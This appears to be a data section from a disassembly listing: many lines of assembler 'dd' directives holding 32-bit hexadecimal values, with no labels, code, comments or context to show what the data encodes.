		dd 148A832Eh, 948BAB09h, 21B20512h, 0C837042Ch,	0C0FB360Fh
		dd 1F7E767Eh, 44877112h, 26E00040h, 52FADFh, 0EDD25D25h
		dd 4ECDA3D4h, 48B4942Ch, 62D00340h, 7F8400CFh, 8631C8BEh
		dd 25604E5Fh, 93B00F39h, 0DD060078h, 0F8830357h, 21F1E5CDh
		dd 5519A4EFh, 81EDBF00h, 0F0DE0C02h, 74AA9879h,	0C420C0A6h
		dd 0BB8E5498h, 131431C1h, 18E87B0Ah, 293800FAh,	28B08B1Ch
		dd 0E30CEF99h, 5801ED81h, 2C260079h, 8627B6F1h,	803E82B3h
		dd 13F141E4h, 57214041h, 638524E0h, 9901007h, 3EA893Fh
		dd 0C81B611h, 0CCADD07Ah, 84D6010Dh, 0A2C4317Bh, 46519C2Dh
		dd 0C939BAC0h, 1EFB6A1Bh, 405789CBh, 8DE133E3h,	7608180h
		dd 0AABD7961h, 31080326h, 1590DA0Ch, 213D711Dh,	5CC17645h
		dd 41045E80h, 9A8A00E8h, 19633372h, 0B00C4E0h, 0D57FD487h
		dd 308186BCh, 998E455Dh, 91C9AC0Fh, 0BB3100DDh,	39B3FA86h
		dd 0EE860B37h, 0F9828EDCh, 0F8C20900h, 315838D3h, 1BED03F5h
		dd 16114184h, 8A805EF1h, 94695B29h, 0FE8F5A81h,	51F40307h
		dd 148322F6h, 0E400FBEAh, 1A281798h, 0ECA8758h,	4F53EBE5h
		dd 0B4306B00h, 0F61982C2h, 0E4A1D98Eh, 7A70C70h, 7FD56CF9h
		dd 510A5681h, 4F82653h,	0A3656F0Dh, 0BDE7A8C0h,	523C0073h
		dd 27B99586h, 7D520E2Ch, 0D04840DCh, 2245BB03h,	0C0FE9891h
		dd 0FD08F7h, 0BF8CCB7Dh, 78201C1Ah, 86B5ED07h, 4420EB3Bh
		dd 280F6A9Bh, 607C8B68h, 33FB5988h, 3F1F5A72h, 0B5C0ECBAh
		dd 0F4B09E76h, 178B0EB6h, 79600A2Fh, 7B662697h,	0BDA7BA3Ch
		dd 98728F84h, 8EFB835Bh, 9BF91FDDh, 3E3F0008h, 3141A4E8h
		dd 8EB7700Ch, 1B021A7h,	4C33764Fh, 5036AF47h, 80E68DE8h
		dd 701AA38h, 0CA989C91h, 6189DE70h, 1FC61CBBh, 8E2486F6h
		dd 771C49A3h, 0C7C372FFh, 0CD6E68E6h, 9E718200h, 246BBFD4h
		dd 419483E5h, 0F8F33135h, 0B337B8B5h, 5CC0F991h, 48942E66h
		dd 990C54C0h, 0CC91E3ADh, 9DB04300h, 7D0BC371h,	98122AA3h
		dd 41540010h, 49DC9FF5h, 7803243Ah, 5E0F913Ch, 5BA118B7h
		dd 37A96984h, 8D886C00h, 5855A248h, 30290019h, 0BB71C56h
		dd 68128398h, 0F0064ABFh, 139815Bh, 6F867182h, 0F4BEAECDh
		dd 0F2006C28h, 1465AF80h, 608882C4h, 13E191E7h,	0BD007FB3h
		dd 9E274778h, 9C643AFh,	890C426h, 3F181C20h, 470022A3h
		dd 0B8A0A10Dh, 354A61F4h, 289845h, 0EBCA0150h, 13004838h
		dd 42961457h, 1EE47FCh,	0B2073121h, 0E82DE269h,	5E0018C9h
		dd 639484B0h, 0F11939D4h, 880CCDDh, 0EFF82D01h,	0F300D957h
		dd 0EDD0FB15h, 1EBB34E3h, 99EA4Dh, 0C39AC467h, 41F0DD91h
		dd 0E2DB9F00h, 3B561B94h, 0AD2F0CEAh, 168C67Ch,	0E73AE400h
		dd 713738Bh, 2EEA0034h,	3674701Ch, 0E1303FB7h, 8ACA28E3h
		dd 4BF10038h, 789A0CB9h, 0B300DF96h, 1CE602AAh,	80AD8707h
		dd 0E200B618h, 35603728h, 59574Fh, 0D7D99F67h, 6487F3E8h
		dd 60858688h, 99278CA3h, 19C0B880h, 0F6549B76h,	4B6B0078h
		dd 0D45C288Fh, 0E1733902h, 891408FAh, 1C38808Ch, 0E7FEBD6h
		dd 0C0613D28h, 68C855AFh, 0FED9088Dh, 439CB287h, 8F4516C0h
		dd 607DCD6h, 0FCC87D6Eh, 5E002186h, 1C87493Bh, 3A1B33C2h
		dd 94D46BADh, 656637D3h, 2369C529h, 2FE071A0h, 11D3BD84h
		dd 606700FBh, 9F9480E3h, 27FEC4A0h, 21C2AF0Eh, 100137Ch
		dd 99382A3Dh, 9AD62AD3h, 0C980222Ch, 578A6D00h,	62DF3F94h
		dd 0E8E12A3Bh, 0E8B72C4h, 2D7F750Ah, 0BB0BF480h, 15009B51h
		dd 9D78D4C5h, 10794FFh,	115F0438h, 0D07CFEC2h, 0E81CFCB3h
		dd 1C002ACCh, 212765E9h, 8580004Ah, 795AEEAh, 3F240686h
		dd 39019104h, 0E2E11CFEh, 0A44A7980h, 46A72638h, 0D1FDEA00h
		dd 195F6ADCh, 0E90F00E5h, 0E276FE3Fh, 52008837h, 0FB71505Bh
		dd 0E46C5Ch, 64C24279h,	0ADA8C39Dh, 68D38524h, 61E7E18Ch
		dd 2ABD00C1h, 99419F75h, 1C00BCEBh, 5FD83F27h, 0F23D68h
		dd 8BBBCA24h, 0C0C180EFh, 0EA074F01h, 4766203Ah, 0A450ABE9h
		dd 221F4Ch, 0FFD45084h,	3BD9957Dh, 1CE41B02h, 91E26455h
		dd 650C85F0h, 14834286h
		dd 31CB6441h, 0D97C3094h, 21ED5C42h, 0E8997438h, 480585CFh
		dd 67AF44Ch, 3217786h, 2973FE18h, 0AE3079Dh, 5740EAC1h
		dd 0B019A9F4h, 7C13602Bh, 3BCED41Eh, 9B6E50C1h,	0C7FC282Ch
		dd 0C130003Dh, 562ABBC4h, 0C9156309h, 0F204423h, 83C58DB4h
		dd 88F74D49h, 4C279D9Ch, 9A0D925Ah, 0F04176ADh,	0C0A802Bh
		dd 0C0079215h, 533D5B60h, 0FAD81651h, 44000F0h,	32E1169Ah
		dd 15901149h, 18CBF84h,	6B5631DEh, 12DD1ABDh, 1F30B0D8h
		dd 473AE951h, 7554E6C3h, 0EF42089h, 4D3E9A1Ah, 6B4804Eh
		dd 38D512DEh, 8D1C1207h, 0F200539h, 6F8C40EFh, 0A22EECB4h
		dd 140F89F4h, 0A2A41F74h, 0E06C968Fh, 26C037BCh, 0C01C9464h
		dd 0E591713Fh, 43153200h, 739540FAh, 3897F627h,	0B08AF0D1h
		dd 0E2FCE554h, 7C116498h, 192A6208h, 400F0AEh, 0F73F5B54h
		dd 0FEE10F81h, 4BC3121Ch, 0F00C54E7h, 0A9DB4900h, 4E4AD32Ch
		dd 5FA820C0h, 509E0586h, 31E1BCC6h, 84E1E830h, 0A46980BEh
		dd 0CFAC4AD9h, 7CAA04AEh, 0CCA211C7h, 9000BC28h, 8BFACE16h
		dd 0A86EC2E7h, 7165EAA8h, 97E30076h, 0D9E947E8h, 2961E5A5h
		dd 0EFE12120h, 5D51EC50h, 611A0064h, 4C08508h, 0AF00897Ch
		dd 3D05A775h, 7B9DA318h, 0CFE83055h, 9106EAD1h,	1E06AD5Ch
		dd 71473138h, 3DC31EE6h, 29597C32h, 0CA46FADh, 0A2191BE2h
		dd 0B2A04000h, 0E934570Eh, 0C6E70038h, 0DD2CA360h, 29C0E0D4h
		dd 0C8F73EFAh, 0D58F1666h, 86ED0065h, 0EB0F38C6h, 730894A8h
		dd 78B2EC00h, 9C1CD96Ch, 302E006Bh, 0EF3891D5h,	0E112BE3Eh
		dd 505910EAh, 0CC10ECF8h, 270E4D2Bh, 0F450DEh, 0D6E64C3h
		dd 1C53073Bh, 0E1F289B1h, 24AC80C9h, 0C700AB00h, 0B6F8C161h
		dd 0F446855h, 674999B4h, 0FDA23FA0h, 41F51981h,	911470C4h
		dd 0E80FEDF9h, 0F360583Fh, 973DAACFh, 5D83300h,	0DEA61F39h
		dd 0B7990030h, 0F55D8A34h, 0E7023B83h, 0F678CCA3h, 0F0C489h
		dd 1268F256h, 0CE103775h, 0FA476000h, 0ECB5BA45h, 0E685484Fh
		dd 40106A24h, 1D59985Ch, 0E7362000h, 2CE4F9C1h,	707CD8h
		dd 4D8D5486h, 0E6E15399h, 837A9C0h, 1C69D6h, 0C2FEECD8h
		dd 52D36BA3h, 91347800h, 0AE314E98h, 44A948B6h,	5060A3C7h
		dd 0F7296BDEh, 0C388DAF8h, 6A730367h, 256564E9h, 7B218198h
		dd 0E3E58601h, 0ECAE80FCh, 5628FC0h, 6CD6F263h,	0DEB84067h
		dd 4C989EC6h, 0E7249B0Bh, 0BC440704h, 0D770C750h, 0A82748B0h
		dd 0C87C7502h, 6CE231C4h, 91BC7943h, 80D88910h,	6C98A089h
		dd 35DDD7Bh, 0B3E8ACD7h, 91A86E13h, 80E69430h, 0B0905Dh
		dd 510367DDh, 0C45284h,	0AA9E88C1h, 0BC4875D3h,	2AE7E300h
		dd 0E21060ACh, 5D9107C6h, 5076FD35h, 14335EC0h,	60B46301h
		dd 0F43EE8E7h, 6654F06Bh, 33809E2Ch, 54D47801h,	0B1D0564Ch
		dd 0CB6071Ah, 0CDD36Fh,	98D51EA6h, 8A185218h, 0E91521h
		dd 8D064A72h, 0DF0CB09h, 0EDCCD200h, 561AB229h,	0E4EE5Bh
		dd 0C4F11048h, 9398F2E1h, 0F003E37Bh, 6944C6E5h, 0FF713AE0h
		dd 0F3A5A181h, 0CC875C94h, 0CB1F42A9h, 3EC0E168h, 7DC15B83h
		dd 218401C6h, 656F804h,	4100FF6Ah, 0EC3743BAh, 0FA387262h
		dd 8216399h, 200E5592h,	0C0370C24h, 7B3A8294h, 36D70FC5h
		dd 25E09EC3h, 0FB46E4A9h, 2384D8D0h, 6F130261h,	80A8CDDCh
		dd 40874484h, 2372E416h, 0E6F2A3h, 14F79C64h, 2BC12628h
		dd 5D9BFE01h, 0DDACBA05h, 0B05830B7h, 85C1EB34h, 0D0833230h
		dd 53173h, 0FA5B81A4h, 0F7EECAB1h, 203431CFh, 0F2C13DA0h
		dd 596133BFh, 21015009h, 9CA15E94h, 0C12058AAh,	0DE7E0649h
		dd 71055CCBh, 6CC5EB03h, 0E8FDF55Fh, 0C59CC1Fh,	0AF3DAD4Dh
		dd 0ECE20E98h, 5F840950h, 876011F8h, 0A09D1C18h, 8C0C8241h
		dd 18DE0428h, 6714D700h, 0E95768h, 3BFEDB1h, 94B980B2h
		dd 1CAE6100h, 9E38840Eh, 7AC100A5h, 7BFCCB22h, 143B83BAh
		dd 4F1AAC71h, 0D8460F00h, 0B93616h, 13655834h, 350E689Ah
		dd 0A8BDD10Bh, 67A200AEh, 9F54377h, 0E4C31587h,	42881F60h
		dd 3AA0B4A3h, 0B200CB0Fh, 0C530F8A0h, 0F08A7Fh,	0A78437B3h
		dd 277AD2E4h, 346E8200h, 0C6770490h, 959F0F9Dh,	0B3E02D59h
		dd 174C5EF6h, 0C8507200h, 2CDB5337h, 34290026h,	6DDC6408h
		dd 320FB6D1h, 0C0BD59FDh, 69D2622Ah, 312E0D56h,	8611307Ah
		dd 0CFDD2908h, 61B10010h, 836B9F25h, 1C1C2266h,	4E807A2Dh
		dd 3F2963C0h, 8FF4063Dh, 29D11BB1h, 1FF222h, 377E69E2h
		dd 0F5D34095h, 4B983007h, 2F17B3A6h, 0DE4915E1h, 1DFCA7C8h
		dd 407DBD6Ch, 968166A8h, 0EF1DCDF4h, 6781D71Ch,	0FE75F182h
		dd 0D571A540h, 0ACE002D9h, 9F7FA72Bh, 0D798A740h, 84A85300h
		dd 73A8AE7h, 0B704008Eh, 8B3E1F12h, 1900E889h, 56C436A0h
		dd 6AE88E9h, 5D7631F9h,	0E79A626h, 63CE3Dh, 8EB6A82Ah
		dd 408ECDBh, 43057A62h,	0A7668391h, 3F3403B8h, 0AB0CED00h
		dd 0FBF5D90h, 8DCBA061h, 209A3BB0h, 0DBBDD205h,	46A80787h
		dd 36150AAh, 0D50F7317h, 80A1BCD4h, 0C2E332B9h,	7AFD1D42h
		dd 0BE89C3D8h, 0DFF8DD58h, 0EA1EC0C1h, 0BF80F04Fh, 0EF822A09h
		dd 0E33024A7h, 84C518E4h, 0E1032663h, 27A2A0B4h, 1C9F908Ah
		dd 347600C2h, 0B25862D7h, 3002EBEh, 0CE9985C8h,	45E7DCh
		dd 0C728B10Ah, 946B11B3h, 83025F00h, 0D623D5A1h, 6EAC1EFBh
		dd 52CE8006h, 0C69B389Fh, 0ADAB4100h, 0B10F8B13h, 0F42D00E8h
		dd 1C4504DAh, 0F61FAEC5h, 0FBE58Dh, 4B9B46D9h, 9068C260h
		dd 0F9B5072Ch, 7ADA33h,	6B08B6Dh, 87F51F3Eh, 0D423861Eh
		dd 15578E97h, 1AD91890h, 9CC0F98Bh, 0A23D0008h,	6CB54088h
		dd 0E1F2B84Bh, 32EAB900h, 75C1B660h, 51480052h,	9E0495F0h
		dd 16004927h, 5BD2AB0Bh, 0B9D6F4h, 0BBBEBD36h, 0E7CF8054h
		dd 0E6192B00h, 5F39C104h, 2CB900E2h, 1D42570Bh,	8005845h
		dd 5C2696B2h, 0F040ADh,	2478C88Dh, 4BB4D016h, 0F60F1907h
		dd 92F060B3h, 0FE8BA51Fh, 0EB360044h, 475EDFEEh, 48001A8Ch
		dd 0D449C872h, 0BFF5B8h, 0BAEEE17Ch, 0C0DC57F6h, 7300FBF8h
		dd 682DBC94h, 0F89089h,	4D96EF12h, 0C6216A0Ch, 1E07B378h
		dd 6E8A6CC3h, 0A85A7623h, 1E654BBDh, 40B13A78h,	8E473EB3h
		dd 0F600D15Dh, 0AD850BA5h, 3A944DCBh, 0F780FECEh, 0A2243D6h
		dd 96060687h, 825B523Eh, 0A4770F30h, 2EA7F0B8h,	3F75091h
		dd 88300B44h, 9BDCE2BEh, 0BC340304h, 65786C1Fh,	5015ACD8h
		dd 228A3D00h, 525DB99Dh, 0B87700E1h, 0AA5A4181h, 0A008CCAh
		dd 0FB04551Bh, 28F6DEh,	6054C748h, 16C4BC6Eh, 59295E07h
		dd 65A0F271h, 0CEAF6CDCh, 8700B671h, 738E66C9h,	0A8795800h
		dd 0B480E142h, 3F18018Ah, 5339075Ah, 36A2E4E6h,	6BAB5200h
		dd 537DE8Fh, 0BFF3182Ch, 6374789Fh, 13407E00h, 41A7882Ah
		dd 94BB073Ah, 0BF820E52h, 0B7A58B42h, 0E6E9B340h, 34253D0Ch
		dd 0EC88FFh, 86381883h,	701B64ADh, 78904F26h, 764E8901h
		dd 11C0A266h, 0EC2601CBh, 6CA55695h, 0F0B5F8AEh, 1200E290h
		dd 0B9C7C9CDh, 8467FFh,	2316EF1Bh, 17AB6F6h, 745C000h
		dd 7C92736Fh, 78FE03FAh, 0ADCB0ECEh, 0FE84CD0h,	1581500h
		dd 0CC061C51h, 33E5005Ch, 317D2847h, 45608B36h,	0CF0D8048h
		dd 0BEFF16A7h, 5400FBA9h, 6C499A93h, 12401202h,	8AA10086h
		dd 0D11FEA0Ch, 7EF0C806h, 0E251C4h, 1269286Eh, 88FDE29Dh
		dd 6380DF50h, 75153600h
		dd 0EDEE055Eh, 27C10016h, 3E4ED8A6h, 0AC07C6DDh, 0EFF895F4h
		dd 4CA146C0h, 0BF7C004Dh, 3AADF620h, 0E600C5B4h, 62AED1F5h
		dd 0FB1595h, 0C326CA31h, 1DBE3410h, 572E6E00h, 5914B36Bh
		dd 0D0DF193Ch, 487358A8h, 0E80BCBC0h, 0E1CD9Bh,	0E2F90DB3h
		dd 65C600D9h, 0EC093D8Dh, 0E5E2E7A6h, 7700FBEEh, 8A6DA9FCh
		dd 1E057DAEh, 85366EDAh, 0C14FE953h, 0E096D2E0h, 0BB009E54h
		dd 233A80A5h, 2DA7BFh, 0ADE322D8h, 0CFA05036h, 0C86F8D03h
		dd 804E0C43h, 35BCAA2h,	0EC986104h, 16B8E340h, 250E37F2h
		dd 0E070D403h, 8695C6Bh, 60D00E32h, 0B1E36F74h,	26005AC7h
		dd 7635CF2Dh, 80CB90h, 1EF1EC8Ch, 8DBCB405h, 0BF8E7C01h
		dd 55871ABAh, 182670E4h, 344D0942h, 3B0E4ED1h, 0D25940FFh
		dd 8113E001h, 22E48AAFh, 90E000B3h, 0A3AB1ADEh,	0D1011521h
		dd 0AA2756E9h, 4E6037A6h, 0F8690031h, 17BBB04Ah, 0F5002938h
		dd 8E23E6DCh, 3CA4D6Bh,	0C56C1A0h, 5984E1Bh, 1E043546h
		dd 0D95291C0h, 9F8C7880h, 26F00E0h, 0F507FDBh, 4801279Bh
		dd 609C5533h, 99D030FEh, 0EA772807h, 6ECA0CEh, 0B94B0EABh
		dd 57804979h, 5CCD80E2h, 0A88D6F01h, 34D0024Ch,	5A9720h
		dd 0DD413CB4h, 5CB280BDh, 326D3B1Eh, 0CC84BE00h, 3115Ah
		dd 0D790DFE8h, 6CDA01B1h, 5987301Fh, 8AF658C0h,	188320D5h
		dd 81FC05C0h, 7501847Eh, 0F948F441h, 22F8DFF8h,	327490A1h
		dd 0CA10C0F7h, 0E1E2C811h, 5DF0F220h, 929E3960h, 3EA3F270h
		dd 1101476Dh, 625F1E89h, 98C1C424h, 120017F8h, 7672BB4Bh
		dd 1CA27E19h, 0CFEFD5F7h, 0F92C3AF5h, 35006C58h, 1C664CD8h
		dd 8720D1h, 17A3A6F8h, 49EC299Bh, 0BC459E06h, 14307DE9h
		dd 6418BF14h, 0D930C000h, 5BA99B26h, 9DCA6400h,	29FEDE8Eh
		dd 63C007Eh, 0D3BE52CDh, 0B37C99A0h, 89539203h,	0D85D6D9Eh
		dd 9859DA72h, 87E424D1h, 0E3A63DF2h, 92D1001Eh,	4DCEA75h
		dd 7B238D1Ch, 0B91FC440h, 3D58Ch, 0A2A41722h, 249411BEh
		dd 6C076177h, 692DEE0Bh, 0C028B5B2h, 1CF705C1h,	40574533h
		dd 70EC41DEh, 0C1CEFF14h, 8401C0FBh, 3354A820h,	0F60918D8h
		dd 1DDB2100h, 0F5E23D01h, 4A2C3C76h, 0BE5E9F00h, 1E715CDDh
		dd 5FF42F00h, 14764505h, 40ED0049h, 563A7D37h, 0DB80FDD7h
		dd 0E44882FBh, 1EE8BA40h, 11C51830h, 392C35FCh,	489D375Fh
		dd 493C4E74h, 9E21C08Ch, 110E4D7Dh, 0F1A5FCh, 0F5275E95h
		dd 9A2603BEh, 5F30ABFAh, 0B907E077h, 0EF012DFBh, 85EBDCD0h
		dd 2079C042h, 0F715BE84h, 0E9DF980Ch, 0C02309BFh, 0BEEF8021h
		dd 142A5DB0h, 9404800Ch, 0BB192D15h, 0E3F81983h, 0D71280FEh
		dd 89270078h, 0B9ED797Fh, 0BBA04E6Dh, 7E0A2E26h, 0B83DC0ABh
		dd 17606544h, 20238901h, 793820F0h, 0D40148E2h,	96A46505h
		dd 989C10ABh, 0AE180E58h, 585D10FCh, 8800847Dh,	1A101F25h
		dd 0F09229B8h, 65870766h, 47F95B96h, 541430ECh,	6300A41Ah
		dd 0E8CEB85Ch, 62A194h,	0E54FABBDh, 852D769Fh, 2A37F500h
		dd 0FCDBA207h, 8121007Bh, 0F1D8CBC0h, 0F00AF0Ch, 0E1D195Fh
		dd 723874h, 6C118A17h, 0BB894AA0h, 23798400h, 2B3CC2A3h
		dd 0DF38008Ch, 0FC635E96h, 6006FBFh, 0D7194608h, 1FA1E9A5h
		dd 586DBB5Ch, 0E853304Dh, 0E67704F4h, 0A0003FF6h, 0D6284AF4h
		dd 7425734h, 960B9B98h,	7437007Ch, 0BB00B5DDh, 3BADD426h
		dd 3A30DCE8h, 1860C71Fh, 10F6A0DEh, 0E2502B18h,	0A75310h
		dd 0CB34ACB6h, 33462D91h, 0FA61D100h, 7CC77239h, 0E3B33708h
		dd 0C9A43641h, 733FFF00h, 41BDAF28h, 608A005Bh,	0C5C749AAh
		dd 45E00E76h, 0D800ABE0h, 23F27814h, 0FEEBBF3Dh, 0B5410C62h
		dd 0CE28C03Fh, 0D97B800h, 0EAE92C81h, 0E28A1CC6h, 0F30AC706h
		dd 6A7244Dh, 1731CAE7h,	74BE9Eh, 2FC61E7Fh, 63001742h
		dd 31C34BA3h, 588350h, 7121F38Bh, 85B1842Eh, 991FC531h
		dd 99C846CEh, 789E308Fh, 98A2C610h, 4DFCD41Bh, 912AD022h
		dd 0F4E50B4Bh, 18031B0Bh, 0F3A8C003h, 0A4157534h, 948F192h
		dd 2C25DFCh, 0E0E88CB4h, 36A50ABh, 76E0D4B0h, 6493A0F3h
		dd 0DCC6F0B0h, 0E5281F01h, 0F8C2F58Eh, 9478770h, 0C8A73D9Bh
		dd 0FACA4D01h, 2FDDF07h, 0C4E68B94h, 90BFC120h,	0FDB10308h
		dd 2FB83AA3h, 0DE739800h, 0D0F2E63Eh, 6898B053h, 500411AEh
		dd 0F53E5B05h, 89EA003Fh, 93CE974Ah, 0FB5A004Dh, 9FDCCFAEh
		dd 50D1D82h, 28064B8Ah,	411269EDh, 889B0810h, 50884ABEh
		dd 8758918h, 529644AFh,	88AA7784h, 0D88055A9h, 0DD0A00CCh
		dd 6546FFF0h, 81021D2Eh, 0DB850379h, 16DD4002h,	0A73700F6h
		dd 7723E2FBh, 9C1CD3B7h, 948075C9h, 4F87A5AFh, 504D00E3h
		dd 7822EAD0h, 4B3AA82Bh, 9E1E00FDh, 0B7CCAE40h,	0C9543CCAh
		dd 0CDFBC801h, 0E0D4FC30h, 1BFE71DFh, 27774A00h, 91C37FD9h
		dd 268000A2h, 0BDA6CFFh, 77016A0h, 9F5DE000h, 0E66F02B8h
		dd 0F8C300F3h, 0E2376A36h, 840F838Eh, 0C0F297FDh, 0DB90BDCFh
		dd 3615055Eh, 0FF18D49h, 452008C4h, 0F2969A29h,	649F5003h
		dd 95EE9Eh, 107E6510h, 0ED07D960h, 3685B00h, 79CD225Fh
		dd 587A00E6h, 3B8802A7h, 91F0CC7Bh, 0C15C4300h,	0A90DDF20h
		dd 0A3AE0E2Bh, 25CFA5F6h, 883E7B60h, 0F91C31E1h, 68C0EE36h
		dd 0C1B5996Eh, 93F1896h, 0A86BA0CEh, 61605E89h,	0FAE90F67h
		dd 2E40C57Ch, 0EC629F09h, 0B323C900h, 0E73E07D2h, 0FB9000DBh
		dd 0BE4AB5EEh, 2500D49Dh, 9AFF70F0h, 439540h, 7BF5616Ah
		dd 9348D20Eh, 56C98B00h, 821AE64Eh, 1110CF91h, 0DAB61BC0h
		dd 4C7D5097h, 0CBEE3800h, 29E1178Eh, 0E4C40F73h, 1FA08Ch
		dd 0F155BF61h, 0FB7ED708h, 22D31A00h, 8F2A5F0Dh, 0EC3B0338h
		dd 9FABDF2Bh, 2FB8C283h, 6E00BAC0h, 2A777D01h, 1D5B4E7h
		dd 6990AC93h, 80CC78DBh, 0C21F6AF8h, 0E5C31EDDh, 6C63CCh
		dd 249BAF33h, 5C067970h, 3D47D700h, 1A8DB68h, 80E263h
		dd 0DD5BB8CBh, 1EE4EA5Ah, 0E2C31600h, 0BCB41C2Bh, 0F09A399Dh
		dd 529B0C87h, 0DC11F9Eh, 0F0218F53h, 0FE7639A2h, 0F8401520h
		dd 0A4EB00D0h, 0E421A0FDh, 990371DCh, 0C88D3ECAh, 4D70B0F3h
		dd 0FBD100C6h, 42B52FE9h, 60006D67h, 0B82EA28Eh, 381170h
		dd 0B61DC4F6h, 0C694AD7Ah, 5083F00h, 109D4A98h,	0CD340738h
		dd 832B0188h, 9400361Dh, 0B9A913D6h, 0A0CCEC04h, 3069E2h
		dd 3DC571DDh, 29E5454Bh, 49A9EF00h, 3FA03E92h, 6BFF01D1h
		dd 344C469Ch, 8764202Ch, 43F41600h, 70914BBEh, 2460072Fh
		dd 0B02520A5h, 0B3D0AE85h, 34CF44Ch, 2E5A04E9h,	0AC92B830h
		dd 9BEE7Bh, 0D9D5695Fh,	1F4AFE5h, 860BE33Ch, 74B867BCh
		dd 681904E0h, 763CECh, 81DD861Fh, 0C08E0061h, 3CC9DC1h
		dd 0CD3CC72Dh, 8609927Ch, 0F75F9C00h, 0E913CE4h, 1416107Dh
		dd 2D6CDF20h, 1748B0A1h, 0E18D00DCh, 57FE532Fh,	0DDB9011Ah
		dd 6F14B87Bh, 22FAC01Eh, 7700BCEEh, 0FCB0C962h,	0ED0C3Ch
		dd 252E1B08h, 89051158h, 0EF4C3877h, 0BD6703BCh, 0B0A68D3Ah
		dd 0DE1671h, 0F9A831CFh, 95724BFEh, 27874100h, 65CB0F9Ch
		dd 38077873h, 469D3924h, 0BAFC4018h, 0C06B85D7h, 2531CCE3h
		dd 0FBE47098h, 0CB893A05h, 0FC5FBE40h, 0C84F4281h, 8D47769h
		dd 0BBD60343h, 9C28D097h, 0DCE8C981h, 71C8FBDh,	0D4C0410Ah
		dd 508466CFh, 0EB812690h, 0D03C4498h, 4FFF07C0h, 340A3Dh
		dd 5E9267D9h, 9E13C1h
		dd 0C9EA500Eh, 2DB9667Ch, 1A364301h, 7BADB3B7h,	1214D30h
		dd 1041C76Bh, 0D03074BCh, 0D100E4AAh, 1FF5488Eh, 1511EFh
		dd 44E709B4h, 8216FDC7h, 35DC8F18h, 0D2EF28h, 7CCE4E71h
		dd 98A34409h, 52940107h, 0DA938B5Ch, 78A5A8B7h,	0B2ACA84Eh
		dd 8D4A0115h, 5185BC03h, 0C010E886h, 0A8393400h, 0B055E948h
		dd 90180160h, 8892D6CFh, 7F8E604Ch, 2C1F9FE0h, 768E4A2Bh
		dd 77C3807Dh, 0F059DCh,	0D344641Fh, 4B7245B9h, 8CF6F200h
		dd 0D20698AEh, 0A21F2E7Ah, 5A0E00BEh, 0F91DA6DDh, 0D0C06C00h
		dd 0C1B43515h, 113A005Bh, 0CD8F4F1Bh, 0D905E2B9h, 0B036A584h
		dd 0F9743C0h, 750B0077h, 14450947h, 0AD0B046Bh,	9F46C6h
		dd 6A69FAB6h, 0B9F600BFh, 9643C01Dh, 5B005478h,	86F58FAAh
		dd 0E38ED0h, 0E34BE68h,	78EEC3A6h, 0AF10AC00h, 0A80BB9B6h
		dd 0DE4F500Fh, 554E004Ch, 7978B476h, 0F60E5D92h, 6088A37Eh
		dd 0FBA8F5D1h, 36330084h, 34DC9D4Ch, 0EC00F923h, 5D7D110Ah
		dd 0E280C2BDh, 944E00FFh, 0C7FC0B79h, 0C300D13Ah, 95897748h
		dd 819F7Dh, 86E388F4h, 0F3357E53h, 0F1BFB600h, 909BD5ADh
		dd 94EA4896h, 0B7781800h, 845B50F4h, 452E7B00h,	2B4E40EBh
		dd 6F8800F9h, 6BD3B902h, 0F1015638h, 78853FBBh,	0F6A4981Fh
		dd 0E04F00A8h, 0CFB705EEh, 0F0BECB00h, 7EE93C5Fh, 0F28B90B5h
		dd 0C9DA077Fh, 0F02F2660h, 0DE1E5018h, 6F8D5400h, 0A8D2F587h
		dd 288AFC3Fh, 70E1B530h, 1C070B18h, 0C0710E7h, 0F0A92015h
		dd 0F503A7FBh, 626FDA54h, 9775A8B0h, 3D94002Fh,	0BACE7FB3h
		dd 380425FBh, 441884AAh, 0F7E9A480h, 37B90079h,	2A4CD6D4h
		dd 923C83FEh, 2E8C0987h, 9C8CA0AAh, 552458h, 16E4983Fh
		dd 0D328DFFFh, 7B7E3Dh,	2961133h, 44E947h, 342A6951h, 6A732E95h
		dd 0D87E0E1Fh, 0E03A4E80h, 0FCB7B8h, 0EC137760h, 70E1CD3Dh
		dd 6A571401h, 3ACAAB44h, 7B2BA840h, 0D41B0393h,	5A76628h
		dd 0AD72A090h, 0BF0024F4h, 0D6B82927h, 75663CE0h, 8C573A55h
		dd 3F8A007Dh, 0C0A15A4Eh, 0E9004AD2h, 5C78321Ch, 1D1B34C9h
		dd 40B12B4Ch, 8BB89AE2h, 530EF25Eh, 45DF5901h, 0ACC5617Eh
		dd 0DC64A801h, 4C0FDB2h, 4DEF01D4h, 0D5CE132Ch,	0EDEA205Eh
		dd 989D6A12h, 236F0E00h, 0C21BA4E6h, 3F9A6440h,	559B2440h
		dd 445EA700h, 0A204206Ah, 3DFC758Bh, 0FA00D0ACh, 0D3D52C4Ch
		dd 3700342Fh, 8FC5BF32h, 0E29849h, 23FF9719h, 33669673h
		dd 42013B01h, 0B99FB077h, 0F290D0h, 0A09A1E8Eh,	4114EFD3h
		dd 78495200h, 51FF9E8h,	0E398384Ah, 8DA85080h, 9994E4D5h
		dd 132F8C00h, 3ACF409Ch, 1BA8C6E1h, 730061E9h, 6882C276h
		dd 481DA4B5h, 393ED1FAh, 10337B82h, 0E860CF2Bh,	28038BFBh
		dd 1A623495h, 0D3B1B020h, 0BCCFEE6h, 243506A4h,	0FF840C00h
		dd 70AD91Eh, 84348E37h,	33325E80h, 0B7BCDBh, 912E15Fh
		dd 1113A6BFh, 0A4F15800h, 5389CD14h, 6CD600EDh,	0F28D1802h
		dd 0E6039593h, 177D9744h, 402F98ACh, 63A7006Dh,	0A5E2AE03h
		dd 270FFFDEh, 0A4558DBh, 0D600F444h, 178FCA75h,	746A00D0h
		dd 0E9360A62h, 0E63A66DAh, 0EB31E71h, 77C0D75Dh, 9EC79985h
		dd 0FF8E0F13h, 39C9BFE1h, 0A3884843h, 1600172Fh, 1423D183h
		dd 0ABADC3h, 7537556Eh,	0C987EDF3h, 5F74CC00h, 7D21909Dh
		dd 0D9027h, 51DE3BE2h, 986F39B2h, 9300705h, 8C087DDh, 0FA8D66Ah
		dd 28B2C3Bh, 0EA276900h, 1015F09h, 0E521C7FEh, 24E47904h
		dd 0A496C0h, 786A84DBh,	4C7DA071h, 0E001AAE6h, 0D324A85Eh
		dd 90FF556Fh, 2403C4F1h, 2CC960F9h, 8700392Ch, 28229A2h
		dd 3C903616h, 0BC204A0Eh, 9447E5FBh, 0F77F6381h, 0BFD66885h
		dd 0E437C085h, 2A009853h, 702F9995h, 0EC9CC15Ah, 367C30A3h
